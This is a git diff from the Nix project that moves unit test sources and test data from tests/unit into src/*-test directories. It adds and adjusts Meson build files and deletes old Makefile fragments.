diff --git a/tests/unit/libstore/data/serve-protocol/vector.bin b/src/libstore-test/data/serve-protocol/vector.bin
similarity index 100%
rename from tests/unit/libstore/data/serve-protocol/vector.bin
rename to src/libstore-test/data/serve-protocol/vector.bin
diff --git a/tests/unit/libstore/data/store-reference/auto.txt b/src/libstore-test/data/store-reference/auto.txt
similarity index 100%
rename from tests/unit/libstore/data/store-reference/auto.txt
rename to src/libstore-test/data/store-reference/auto.txt
diff --git a/tests/unit/libstore/data/store-reference/auto_param.txt b/src/libstore-test/data/store-reference/auto_param.txt
similarity index 100%
rename from tests/unit/libstore/data/store-reference/auto_param.txt
rename to src/libstore-test/data/store-reference/auto_param.txt
diff --git a/tests/unit/libstore/data/store-reference/local_1.txt b/src/libstore-test/data/store-reference/local_1.txt
similarity index 100%
rename from tests/unit/libstore/data/store-reference/local_1.txt
rename to src/libstore-test/data/store-reference/local_1.txt
diff --git a/tests/unit/libstore/data/store-reference/local_2.txt b/src/libstore-test/data/store-reference/local_2.txt
similarity index 100%
rename from tests/unit/libstore/data/store-reference/local_2.txt
rename to src/libstore-test/data/store-reference/local_2.txt
diff --git a/tests/unit/libstore/data/store-reference/local_shorthand_1.txt b/src/libstore-test/data/store-reference/local_shorthand_1.txt
similarity index 100%
rename from tests/unit/libstore/data/store-reference/local_shorthand_1.txt
rename to src/libstore-test/data/store-reference/local_shorthand_1.txt
diff --git a/tests/unit/libstore/data/store-reference/local_shorthand_2.txt b/src/libstore-test/data/store-reference/local_shorthand_2.txt
similarity index 100%
rename from tests/unit/libstore/data/store-reference/local_shorthand_2.txt
rename to src/libstore-test/data/store-reference/local_shorthand_2.txt
diff --git a/tests/unit/libstore/data/store-reference/ssh.txt b/src/libstore-test/data/store-reference/ssh.txt
similarity index 100%
rename from tests/unit/libstore/data/store-reference/ssh.txt
rename to src/libstore-test/data/store-reference/ssh.txt
diff --git a/tests/unit/libstore/data/store-reference/unix.txt b/src/libstore-test/data/store-reference/unix.txt
similarity index 100%
rename from tests/unit/libstore/data/store-reference/unix.txt
rename to src/libstore-test/data/store-reference/unix.txt
diff --git a/tests/unit/libstore/data/store-reference/unix_shorthand.txt b/src/libstore-test/data/store-reference/unix_shorthand.txt
similarity index 100%
rename from tests/unit/libstore/data/store-reference/unix_shorthand.txt
rename to src/libstore-test/data/store-reference/unix_shorthand.txt
diff --git a/tests/unit/libstore/data/worker-protocol/build-mode.bin b/src/libstore-test/data/worker-protocol/build-mode.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/build-mode.bin
rename to src/libstore-test/data/worker-protocol/build-mode.bin
diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.27.bin b/src/libstore-test/data/worker-protocol/build-result-1.27.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/build-result-1.27.bin
rename to src/libstore-test/data/worker-protocol/build-result-1.27.bin
diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.28.bin b/src/libstore-test/data/worker-protocol/build-result-1.28.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/build-result-1.28.bin
rename to src/libstore-test/data/worker-protocol/build-result-1.28.bin
diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.29.bin b/src/libstore-test/data/worker-protocol/build-result-1.29.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/build-result-1.29.bin
rename to src/libstore-test/data/worker-protocol/build-result-1.29.bin
diff --git a/tests/unit/libstore/data/worker-protocol/build-result-1.37.bin b/src/libstore-test/data/worker-protocol/build-result-1.37.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/build-result-1.37.bin
rename to src/libstore-test/data/worker-protocol/build-result-1.37.bin
diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin b/src/libstore-test/data/worker-protocol/client-handshake-info_1_30.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin
rename to src/libstore-test/data/worker-protocol/client-handshake-info_1_30.bin
diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin b/src/libstore-test/data/worker-protocol/client-handshake-info_1_33.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin
rename to src/libstore-test/data/worker-protocol/client-handshake-info_1_33.bin
diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin b/src/libstore-test/data/worker-protocol/client-handshake-info_1_35.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin
rename to src/libstore-test/data/worker-protocol/client-handshake-info_1_35.bin
diff --git a/tests/unit/libstore/data/worker-protocol/content-address.bin b/src/libstore-test/data/worker-protocol/content-address.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/content-address.bin
rename to src/libstore-test/data/worker-protocol/content-address.bin
diff --git a/tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin b/src/libstore-test/data/worker-protocol/derived-path-1.29.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/derived-path-1.29.bin
rename to src/libstore-test/data/worker-protocol/derived-path-1.29.bin
diff --git a/tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin b/src/libstore-test/data/worker-protocol/derived-path-1.30.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/derived-path-1.30.bin
rename to src/libstore-test/data/worker-protocol/derived-path-1.30.bin
diff --git a/tests/unit/libstore/data/worker-protocol/drv-output.bin b/src/libstore-test/data/worker-protocol/drv-output.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/drv-output.bin
rename to src/libstore-test/data/worker-protocol/drv-output.bin
diff --git a/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin b/src/libstore-test/data/worker-protocol/handshake-to-client.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/handshake-to-client.bin
rename to src/libstore-test/data/worker-protocol/handshake-to-client.bin
diff --git a/tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin b/src/libstore-test/data/worker-protocol/keyed-build-result-1.29.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/keyed-build-result-1.29.bin
rename to src/libstore-test/data/worker-protocol/keyed-build-result-1.29.bin
diff --git a/tests/unit/libstore/data/worker-protocol/optional-content-address.bin b/src/libstore-test/data/worker-protocol/optional-content-address.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/optional-content-address.bin
rename to src/libstore-test/data/worker-protocol/optional-content-address.bin
diff --git a/tests/unit/libstore/data/worker-protocol/optional-store-path.bin b/src/libstore-test/data/worker-protocol/optional-store-path.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/optional-store-path.bin
rename to src/libstore-test/data/worker-protocol/optional-store-path.bin
diff --git a/tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin b/src/libstore-test/data/worker-protocol/optional-trusted-flag.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/optional-trusted-flag.bin
rename to src/libstore-test/data/worker-protocol/optional-trusted-flag.bin
diff --git a/tests/unit/libstore/data/worker-protocol/realisation.bin b/src/libstore-test/data/worker-protocol/realisation.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/realisation.bin
rename to src/libstore-test/data/worker-protocol/realisation.bin
diff --git a/tests/unit/libstore/data/worker-protocol/set.bin b/src/libstore-test/data/worker-protocol/set.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/set.bin
rename to src/libstore-test/data/worker-protocol/set.bin
diff --git a/tests/unit/libstore/data/worker-protocol/store-path.bin b/src/libstore-test/data/worker-protocol/store-path.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/store-path.bin
rename to src/libstore-test/data/worker-protocol/store-path.bin
diff --git a/tests/unit/libstore/data/worker-protocol/string.bin b/src/libstore-test/data/worker-protocol/string.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/string.bin
rename to src/libstore-test/data/worker-protocol/string.bin
diff --git a/tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin b/src/libstore-test/data/worker-protocol/unkeyed-valid-path-info-1.15.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/unkeyed-valid-path-info-1.15.bin
rename to src/libstore-test/data/worker-protocol/unkeyed-valid-path-info-1.15.bin
diff --git a/tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin b/src/libstore-test/data/worker-protocol/valid-path-info-1.15.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/valid-path-info-1.15.bin
rename to src/libstore-test/data/worker-protocol/valid-path-info-1.15.bin
diff --git a/tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin b/src/libstore-test/data/worker-protocol/valid-path-info-1.16.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/valid-path-info-1.16.bin
rename to src/libstore-test/data/worker-protocol/valid-path-info-1.16.bin
diff --git a/tests/unit/libstore/data/worker-protocol/vector.bin b/src/libstore-test/data/worker-protocol/vector.bin
similarity index 100%
rename from tests/unit/libstore/data/worker-protocol/vector.bin
rename to src/libstore-test/data/worker-protocol/vector.bin
diff --git a/tests/unit/libstore/derivation-advanced-attrs.cc b/src/libstore-test/derivation-advanced-attrs.cc
similarity index 100%
rename from tests/unit/libstore/derivation-advanced-attrs.cc
rename to src/libstore-test/derivation-advanced-attrs.cc
diff --git a/tests/unit/libstore/derivation.cc b/src/libstore-test/derivation.cc
similarity index 100%
rename from tests/unit/libstore/derivation.cc
rename to src/libstore-test/derivation.cc
diff --git a/tests/unit/libstore/derived-path.cc b/src/libstore-test/derived-path.cc
similarity index 100%
rename from tests/unit/libstore/derived-path.cc
rename to src/libstore-test/derived-path.cc
diff --git a/tests/unit/libstore/downstream-placeholder.cc b/src/libstore-test/downstream-placeholder.cc
similarity index 100%
rename from tests/unit/libstore/downstream-placeholder.cc
rename to src/libstore-test/downstream-placeholder.cc
diff --git a/tests/unit/libstore/machines.cc b/src/libstore-test/machines.cc
similarity index 100%
rename from tests/unit/libstore/machines.cc
rename to src/libstore-test/machines.cc
diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build
new file mode 100644
index 00000000000..83d3244d478
--- /dev/null
+++ b/src/libstore-test/meson.build
@@ -0,0 +1,123 @@
+project('nix-store-test', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_private_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-util-c'),
+  dependency('nix-util-test-support'),
+  dependency('nix-store'),
+  dependency('nix-store-c'),
+  dependency('nix-store-test-support'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_private_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_private += nix_dep
+  endif
+endforeach
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+rapidcheck = dependency('rapidcheck')
+deps_private += rapidcheck
+
+gtest = dependency('gtest', main : true)
+deps_private += gtest
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+  '-include', 'config-util.h',
+  '-include', 'config-store.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'common-protocol.cc',
+  'content-address.cc',
+  'derivation-advanced-attrs.cc',
+  'derivation.cc',
+  'derived-path.cc',
+  'downstream-placeholder.cc',
+  'machines.cc',
+  'nar-info-disk-cache.cc',
+  'nar-info.cc',
+  'nix_api_store.cc',
+  'outputs-spec.cc',
+  'path-info.cc',
+  'path.cc',
+  'references.cc',
+  'serve-protocol.cc',
+  'store-reference.cc',
+  'worker-protocol.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+
+this_exe = executable(
+  meson.project_name(),
+  sources,
+  dependencies : deps_private_subproject + deps_private + deps_other,
+  include_directories : include_dirs,
+  # TODO: -lrapidcheck, see ../libutil-support/build.meson
+  link_args: linker_export_flags + ['-lrapidcheck'],
+  # get main from gtest
+  install : true,
+)
+
+test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_exe,
+  compile_args : ['-std=c++2a'],
+))
diff --git a/tests/unit/libstore/nar-info-disk-cache.cc b/src/libstore-test/nar-info-disk-cache.cc
similarity index 100%
rename from tests/unit/libstore/nar-info-disk-cache.cc
rename to src/libstore-test/nar-info-disk-cache.cc
diff --git a/tests/unit/libstore/nar-info.cc b/src/libstore-test/nar-info.cc
similarity index 100%
rename from tests/unit/libstore/nar-info.cc
rename to src/libstore-test/nar-info.cc
diff --git a/tests/unit/libstore/nix_api_store.cc b/src/libstore-test/nix_api_store.cc
similarity index 100%
rename from tests/unit/libstore/nix_api_store.cc
rename to src/libstore-test/nix_api_store.cc
diff --git a/tests/unit/libstore/outputs-spec.cc b/src/libstore-test/outputs-spec.cc
similarity index 100%
rename from tests/unit/libstore/outputs-spec.cc
rename to src/libstore-test/outputs-spec.cc
diff --git a/tests/unit/libstore/path-info.cc b/src/libstore-test/path-info.cc
similarity index 100%
rename from tests/unit/libstore/path-info.cc
rename to src/libstore-test/path-info.cc
diff --git a/tests/unit/libstore/path.cc b/src/libstore-test/path.cc
similarity index 100%
rename from tests/unit/libstore/path.cc
rename to src/libstore-test/path.cc
diff --git a/tests/unit/libstore/references.cc b/src/libstore-test/references.cc
similarity index 100%
rename from tests/unit/libstore/references.cc
rename to src/libstore-test/references.cc
diff --git a/tests/unit/libstore/serve-protocol.cc b/src/libstore-test/serve-protocol.cc
similarity index 100%
rename from tests/unit/libstore/serve-protocol.cc
rename to src/libstore-test/serve-protocol.cc
diff --git a/tests/unit/libstore/store-reference.cc b/src/libstore-test/store-reference.cc
similarity index 100%
rename from tests/unit/libstore/store-reference.cc
rename to src/libstore-test/store-reference.cc
diff --git a/tests/unit/libstore/worker-protocol.cc b/src/libstore-test/worker-protocol.cc
similarity index 100%
rename from tests/unit/libstore/worker-protocol.cc
rename to src/libstore-test/worker-protocol.cc
diff --git a/src/libutil-test b/src/libutil-test
deleted file mode 120000
index 62c86f54bbb..00000000000
--- a/src/libutil-test
+++ /dev/null
@@ -1 +0,0 @@
-../tests/unit/libutil/
\ No newline at end of file
diff --git a/src/libutil-test-support b/src/libutil-test-support
deleted file mode 120000
index f7da46d4cd6..00000000000
--- a/src/libutil-test-support
+++ /dev/null
@@ -1 +0,0 @@
-../tests/unit/libutil-support/
\ No newline at end of file
diff --git a/src/libutil-test-support/.version b/src/libutil-test-support/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libutil-test-support/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/tests/unit/libutil-support/meson.build b/src/libutil-test-support/meson.build
similarity index 95%
rename from tests/unit/libutil-support/meson.build
rename to src/libutil-test-support/meson.build
index d5ee8eed7f6..4a8f8b54e56 100644
--- a/tests/unit/libutil-support/meson.build
+++ b/src/libutil-test-support/meson.build
@@ -42,6 +42,9 @@ rapidcheck = dependency('rapidcheck')
 deps_public += rapidcheck
 
 add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.hh',
   '-Wno-deprecated-declarations',
   '-Wimplicit-fallthrough',
   '-Werror=switch',
diff --git a/tests/unit/libutil-support/package.nix b/src/libutil-test-support/package.nix
similarity index 100%
rename from tests/unit/libutil-support/package.nix
rename to src/libutil-test-support/package.nix
diff --git a/tests/unit/libutil-support/tests/characterization.hh b/src/libutil-test-support/tests/characterization.hh
similarity index 100%
rename from tests/unit/libutil-support/tests/characterization.hh
rename to src/libutil-test-support/tests/characterization.hh
diff --git a/tests/unit/libutil-support/tests/hash.cc b/src/libutil-test-support/tests/hash.cc
similarity index 100%
rename from tests/unit/libutil-support/tests/hash.cc
rename to src/libutil-test-support/tests/hash.cc
diff --git a/tests/unit/libutil-support/tests/hash.hh b/src/libutil-test-support/tests/hash.hh
similarity index 100%
rename from tests/unit/libutil-support/tests/hash.hh
rename to src/libutil-test-support/tests/hash.hh
diff --git a/tests/unit/libutil-support/tests/nix_api_util.hh b/src/libutil-test-support/tests/nix_api_util.hh
similarity index 100%
rename from tests/unit/libutil-support/tests/nix_api_util.hh
rename to src/libutil-test-support/tests/nix_api_util.hh
diff --git a/tests/unit/libutil-support/tests/string_callback.cc b/src/libutil-test-support/tests/string_callback.cc
similarity index 100%
rename from tests/unit/libutil-support/tests/string_callback.cc
rename to src/libutil-test-support/tests/string_callback.cc
diff --git a/tests/unit/libutil-support/tests/string_callback.hh b/src/libutil-test-support/tests/string_callback.hh
similarity index 100%
rename from tests/unit/libutil-support/tests/string_callback.hh
rename to src/libutil-test-support/tests/string_callback.hh
diff --git a/src/libutil-test/.version b/src/libutil-test/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libutil-test/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/tests/unit/libutil/args.cc b/src/libutil-test/args.cc
similarity index 100%
rename from tests/unit/libutil/args.cc
rename to src/libutil-test/args.cc
diff --git a/tests/unit/libutil/canon-path.cc b/src/libutil-test/canon-path.cc
similarity index 100%
rename from tests/unit/libutil/canon-path.cc
rename to src/libutil-test/canon-path.cc
diff --git a/tests/unit/libutil/chunked-vector.cc b/src/libutil-test/chunked-vector.cc
similarity index 100%
rename from tests/unit/libutil/chunked-vector.cc
rename to src/libutil-test/chunked-vector.cc
diff --git a/tests/unit/libutil/closure.cc b/src/libutil-test/closure.cc
similarity index 100%
rename from tests/unit/libutil/closure.cc
rename to src/libutil-test/closure.cc
diff --git a/tests/unit/libutil/compression.cc b/src/libutil-test/compression.cc
similarity index 100%
rename from tests/unit/libutil/compression.cc
rename to src/libutil-test/compression.cc
diff --git a/tests/unit/libutil/config.cc b/src/libutil-test/config.cc
similarity index 100%
rename from tests/unit/libutil/config.cc
rename to src/libutil-test/config.cc
diff --git a/tests/unit/libutil/data/git/check-data.sh b/src/libutil-test/data/git/check-data.sh
similarity index 100%
rename from tests/unit/libutil/data/git/check-data.sh
rename to src/libutil-test/data/git/check-data.sh
diff --git a/tests/unit/libutil/data/git/hello-world-blob.bin b/src/libutil-test/data/git/hello-world-blob.bin
similarity index 100%
rename from tests/unit/libutil/data/git/hello-world-blob.bin
rename to src/libutil-test/data/git/hello-world-blob.bin
diff --git a/tests/unit/libutil/data/git/hello-world.bin b/src/libutil-test/data/git/hello-world.bin
similarity index 100%
rename from tests/unit/libutil/data/git/hello-world.bin
rename to src/libutil-test/data/git/hello-world.bin
diff --git a/tests/unit/libutil/data/git/tree.bin b/src/libutil-test/data/git/tree.bin
similarity index 100%
rename from tests/unit/libutil/data/git/tree.bin
rename to src/libutil-test/data/git/tree.bin
diff --git a/tests/unit/libutil/data/git/tree.txt b/src/libutil-test/data/git/tree.txt
similarity index 100%
rename from tests/unit/libutil/data/git/tree.txt
rename to src/libutil-test/data/git/tree.txt
diff --git a/tests/unit/libutil/file-content-address.cc b/src/libutil-test/file-content-address.cc
similarity index 100%
rename from tests/unit/libutil/file-content-address.cc
rename to src/libutil-test/file-content-address.cc
diff --git a/tests/unit/libutil/git.cc b/src/libutil-test/git.cc
similarity index 99%
rename from tests/unit/libutil/git.cc
rename to src/libutil-test/git.cc
index ff934c117b8..7c360d7c568 100644
--- a/tests/unit/libutil/git.cc
+++ b/src/libutil-test/git.cc
@@ -88,7 +88,7 @@ TEST_F(GitTest, blob_write) {
 /**
  * This data is for "shallow" tree tests. However, we use "real" hashes
  * so that we can check our test data in a small shell script test test
- * (`tests/unit/libutil/data/git/check-data.sh`).
+ * (`src/libutil-test/data/git/check-data.sh`).
  */
 const static Tree tree = {
     {
diff --git a/tests/unit/libutil/hash.cc b/src/libutil-test/hash.cc
similarity index 100%
rename from tests/unit/libutil/hash.cc
rename to src/libutil-test/hash.cc
diff --git a/tests/unit/libutil/hilite.cc b/src/libutil-test/hilite.cc
similarity index 100%
rename from tests/unit/libutil/hilite.cc
rename to src/libutil-test/hilite.cc
diff --git a/tests/unit/libutil/json-utils.cc b/src/libutil-test/json-utils.cc
similarity index 100%
rename from tests/unit/libutil/json-utils.cc
rename to src/libutil-test/json-utils.cc
diff --git a/tests/unit/libutil/logging.cc b/src/libutil-test/logging.cc
similarity index 100%
rename from tests/unit/libutil/logging.cc
rename to src/libutil-test/logging.cc
diff --git a/tests/unit/libutil/lru-cache.cc b/src/libutil-test/lru-cache.cc
similarity index 100%
rename from tests/unit/libutil/lru-cache.cc
rename to src/libutil-test/lru-cache.cc
diff --git a/tests/unit/libutil/meson.build b/src/libutil-test/meson.build
similarity index 88%
rename from tests/unit/libutil/meson.build
rename to src/libutil-test/meson.build
index 3f6e0fe65d9..c3d72b9768c 100644
--- a/tests/unit/libutil/meson.build
+++ b/src/libutil-test/meson.build
@@ -23,11 +23,6 @@ deps_private_subproject = [ ]
 # See note in ../nix-util/meson.build
 deps_other = [ ]
 
-configdata = configuration_data()
-
-# TODO rename, because it will conflict with downstream projects
-configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
-
 foreach nix_dep : [
   dependency('nix-util'),
   dependency('nix-util-c'),
@@ -60,15 +55,11 @@ deps_private += rapidcheck
 gtest = dependency('gtest', main : true)
 deps_private += gtest
 
-config_h = configure_file(
-  configuration : configdata,
-  output : 'config-util-test.h',
-)
-
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
-  '-include', 'config-util-test.h',
+  '-include', 'config-util.hh',
+  '-include', 'config-util.h',
   '-Wno-deprecated-declarations',
   '-Wimplicit-fallthrough',
   '-Werror=switch',
@@ -113,7 +104,7 @@ include_dirs = [include_directories('.')]
 
 
 this_exe = executable(
-  'nix-util-test',
+  meson.project_name(),
   sources,
   dependencies : deps_private_subproject + deps_private + deps_other,
   include_directories : include_dirs,
@@ -123,7 +114,7 @@ this_exe = executable(
   install : true,
 )
 
-test('nix-util-test', this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
+test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
 
 meson.override_dependency(meson.project_name(), declare_dependency(
   include_directories : include_dirs,
diff --git a/tests/unit/libutil/nix_api_util.cc b/src/libutil-test/nix_api_util.cc
similarity index 100%
rename from tests/unit/libutil/nix_api_util.cc
rename to src/libutil-test/nix_api_util.cc
diff --git a/tests/unit/libutil/package.nix b/src/libutil-test/package.nix
similarity index 100%
rename from tests/unit/libutil/package.nix
rename to src/libutil-test/package.nix
diff --git a/tests/unit/libutil/pool.cc b/src/libutil-test/pool.cc
similarity index 100%
rename from tests/unit/libutil/pool.cc
rename to src/libutil-test/pool.cc
diff --git a/tests/unit/libutil/references.cc b/src/libutil-test/references.cc
similarity index 100%
rename from tests/unit/libutil/references.cc
rename to src/libutil-test/references.cc
diff --git a/tests/unit/libutil/spawn.cc b/src/libutil-test/spawn.cc
similarity index 100%
rename from tests/unit/libutil/spawn.cc
rename to src/libutil-test/spawn.cc
diff --git a/tests/unit/libutil/suggestions.cc b/src/libutil-test/suggestions.cc
similarity index 100%
rename from tests/unit/libutil/suggestions.cc
rename to src/libutil-test/suggestions.cc
diff --git a/tests/unit/libutil/tests.cc b/src/libutil-test/tests.cc
similarity index 100%
rename from tests/unit/libutil/tests.cc
rename to src/libutil-test/tests.cc
diff --git a/tests/unit/libutil/url.cc b/src/libutil-test/url.cc
similarity index 100%
rename from tests/unit/libutil/url.cc
rename to src/libutil-test/url.cc
diff --git a/tests/unit/libutil/xml-writer.cc b/src/libutil-test/xml-writer.cc
similarity index 100%
rename from tests/unit/libutil/xml-writer.cc
rename to src/libutil-test/xml-writer.cc
diff --git a/tests/unit/libexpr-support/local.mk b/tests/unit/libexpr-support/local.mk
deleted file mode 100644
index 0501de33c43..00000000000
--- a/tests/unit/libexpr-support/local.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-libraries += libexpr-test-support
-
-libexpr-test-support_NAME = libnixexpr-test-support
-
-libexpr-test-support_DIR := $(d)
-
-ifeq ($(INSTALL_UNIT_TESTS), yes)
-  libexpr-test-support_INSTALL_DIR := $(checklibdir)
-else
-  libexpr-test-support_INSTALL_DIR :=
-endif
-
-libexpr-test-support_SOURCES := \
-    $(wildcard $(d)/tests/*.cc) \
-    $(wildcard $(d)/tests/value/*.cc)
-
-libexpr-test-support_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES)
-
-libexpr-test-support_LIBS = \
-    libstore-test-support libutil-test-support \
-    libexpr libstore libutil
-
-libexpr-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck
diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk
deleted file mode 100644
index 1617e282351..00000000000
--- a/tests/unit/libexpr/local.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-check: libexpr-tests_RUN
-
-programs += libexpr-tests
-
-libexpr-tests_NAME := libnixexpr-tests
-
-libexpr-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libexpr-tests.xml
-
-libexpr-tests_DIR := $(d)
-
-ifeq ($(INSTALL_UNIT_TESTS), yes)
-  libexpr-tests_INSTALL_DIR := $(checkbindir)
-else
-  libexpr-tests_INSTALL_DIR :=
-endif
-
-libexpr-tests_SOURCES := \
-    $(wildcard $(d)/*.cc) \
-    $(wildcard $(d)/value/*.cc) \
-    $(wildcard $(d)/flake/*.cc)
-
-libexpr-tests_EXTRA_INCLUDES = \
-    -I tests/unit/libexpr-support \
-    -I tests/unit/libstore-support \
-    -I tests/unit/libutil-support \
-    $(INCLUDE_libexpr) \
-    $(INCLUDE_libexprc) \
-    $(INCLUDE_libfetchers) \
-    $(INCLUDE_libstore) \
-    $(INCLUDE_libstorec) \
-    $(INCLUDE_libutil) \
-    $(INCLUDE_libutilc)
-
-libexpr-tests_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES)
-
-libexpr-tests_LIBS = \
-    libexpr-test-support libstore-test-support libutil-test-support \
-    libexpr libexprc libfetchers libstore libstorec libutil libutilc
-
-libexpr-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock
-
-ifdef HOST_WINDOWS
-  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
-  libexpr-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
-endif
diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk
deleted file mode 100644
index 286a590304a..00000000000
--- a/tests/unit/libfetchers/local.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-check: libfetchers-tests_RUN
-
-programs += libfetchers-tests
-
-libfetchers-tests_NAME = libnixfetchers-tests
-
-libfetchers-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libfetchers-tests.xml
-
-libfetchers-tests_DIR := $(d)
-
-ifeq ($(INSTALL_UNIT_TESTS), yes)
-  libfetchers-tests_INSTALL_DIR := $(checkbindir)
-else
-  libfetchers-tests_INSTALL_DIR :=
-endif
-
-libfetchers-tests_SOURCES := $(wildcard $(d)/*.cc)
-
-libfetchers-tests_EXTRA_INCLUDES = \
-    -I tests/unit/libstore-support \
-    -I tests/unit/libutil-support \
-    $(INCLUDE_libfetchers) \
-    $(INCLUDE_libstore) \
-    $(INCLUDE_libutil)
-
-libfetchers-tests_CXXFLAGS += $(libfetchers-tests_EXTRA_INCLUDES)
-
-libfetchers-tests_LIBS = \
-    libstore-test-support libutil-test-support \
-    libfetchers libstore libutil
-
-libfetchers-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS)
-
-ifdef HOST_WINDOWS
-  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
-  libfetchers-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
-endif
diff --git a/tests/unit/libflake/local.mk b/tests/unit/libflake/local.mk
deleted file mode 100644
index 590bcf7c031..00000000000
--- a/tests/unit/libflake/local.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-check: libflake-tests_RUN
-
-programs += libflake-tests
-
